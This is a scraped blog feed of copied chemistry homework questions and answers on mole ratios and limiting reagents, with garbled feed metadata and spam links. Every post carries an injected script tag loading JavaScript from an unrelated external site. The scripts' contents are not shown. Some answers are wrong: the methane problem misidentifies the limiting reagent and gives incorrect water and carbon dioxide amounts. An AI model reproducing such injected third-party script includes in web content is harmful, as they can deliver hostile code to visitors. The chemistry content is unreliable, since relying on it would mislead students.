type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-8314480501425191612010-04-24T00:23:00.000-07:002010-04-24T00:23:14.517-07:00How many moles of O subscript 2 can be produced by letting 12.00 moles of KClO subscript 3 react?Given the following equation: 2 KClO subscript 3 ---%26gt; 2 KCl + 3 O subscript 2<br><br /><br /><br><br /><br />How many moles of O subscript 2 can be produced by letting 12.00 moles of KClO subscript 3 react?<br><br /><br /><br><br /><br />does anyone know the steps to do this? I really dont understand how im supoused to calculate this. I dont even understand what the question is asking!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of O subscript 2 can be produced by letting 12.00 moles of KClO subscript 3 react?<br>18 mol of Osub2<br><br /><br /><br><br /><br />For every 2 mols of KClOsub 3 you get 3 mols of Osub2<br><br /><br /><br><br /><br />there are better ways to calculate that. This was off the top of my head.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-91424382526148349522010-04-24T00:22:00.002-07:002010-04-24T00:22:43.993-07:00How many moles of O2 should be supplied to burn 1 mole of C3H8 (propane) molecules in a camping stove?How many moles of O2 should be supplied to burn 1 mole of C3H8 (propane) molecules in a camping stove?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of O2 should be supplied to burn 1 mole of C3H8 (propane) molecules in a camping stove?<br>this is a combustion reaction;<br><br /><br /><br><br /><br /> C3H8 + 5O2 --%26gt; 3CO2 + 4H2O<br><br /><br /><br><br /><br />According to the balanced reaction equation given above, the mole ratio between O2 and C3H8 is 5:1<br><br /><br />Thus, 5 moles of O2 should be supplied to burn 1 mole of C3H8 <br><br /><br /><br><br /><br />hope this helps:-)<br>Reply:Given that the 2 products of combustion are CO2 and H2O, I count 5 O2's to balance that equation.<br><br /><br /><br><br /><br />C3H8 + 5O2 =%26gt; 3CO2 + 4H2O<br><br /><br /><br><br /><br />.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-41205720117692972432010-04-24T00:22:00.001-07:002010-04-24T00:22:26.155-07:00Limiting reagents/moles help!!?A student combusts 15 g of methane (CH4) with 50. g of oxygen to form carbon dioxide and water.<br><br /><br /><br><br /><br />1.Write out the balanced chemical reaction.<br><br /><br />2. Which reactant is the limiting reagent?<br><br /><br />3. How many moles of water will be produced?<br><br /><br />4. What mass of carbon dioxide will be produced?<br><br /><br />5. After the reaction is completed how many moles of methane will remain? (amount of reactant remaining = initial amount of reactant - amount of reactant consumed by the reaction)<br><br /><br />6. After the reaction is completed how many moles of oxygen will remain?<br><br /><br /><br><br /><br />please help me!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Limiting reagents/moles help!!?<br>1) CH4 + 2O2 --%26gt; CO2 + 2H2O<br><br /><br />2) Methane<br><br /><br />3) 1.875 moles<br><br /><br />4) 41.25 g<br><br /><br />5) 0 moles<br><br /><br />6) 1.25 moles<br><br /><br /><br><br /><br />I think those are right<br>Reply:I answered your question<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2009yoga.blogspot.com/>yoga</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-76066379767286113832010-04-24T00:22:00.000-07:002010-04-24T00:22:09.349-07:00How many moles of Pb Metal would form when the PbCO3 is heated?There is PbCO3 Pure cerusitte and we are determining how many moles are there there in 7.5g of the starting material..I get 35.6 moles..The next question is .....How many moles of Pb Metal would form when the PbCO3 is heated?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of Pb Metal would form when the PbCO3 is heated?<br>1) How many moles are there in 7.5 gram of PbCO3 ?<br><br /><br />1 mol of PbCO3 is 207.2 + 12.01 + 3*16.00 = 267.2 gram<br><br /><br />7.5 gram = 7.5 g / 267.2 g/mol = 0.0281 moles.<br><br /><br /><br><br /><br />2) For every molecule of PbCO3 one atom of Pb is formed. There are therefore as many moles of Pb as mole of PbCO3, that is 0.0281 moles.<br><br /><br /><br><br /><br />3) How many grams of lead are formed?<br><br /><br />0.0281 moles = 0.0281 moles x 207.2 g/mol = 5.82 g<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-46474988287485184862010-04-24T00:21:00.003-07:002010-04-24T00:21:54.221-07:00How many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?For the reaction <br><br /><br /><br><br /><br /><br><br /><br />SO2 + O2 → SO3 <br><br /><br /><br><br /><br /><br><br /><br />how many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?<br><br /><br /><br><br /><br />Enter a numeric answer only, no units.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?<br>3.44<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2ivy.blogspot.com/>ivy</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0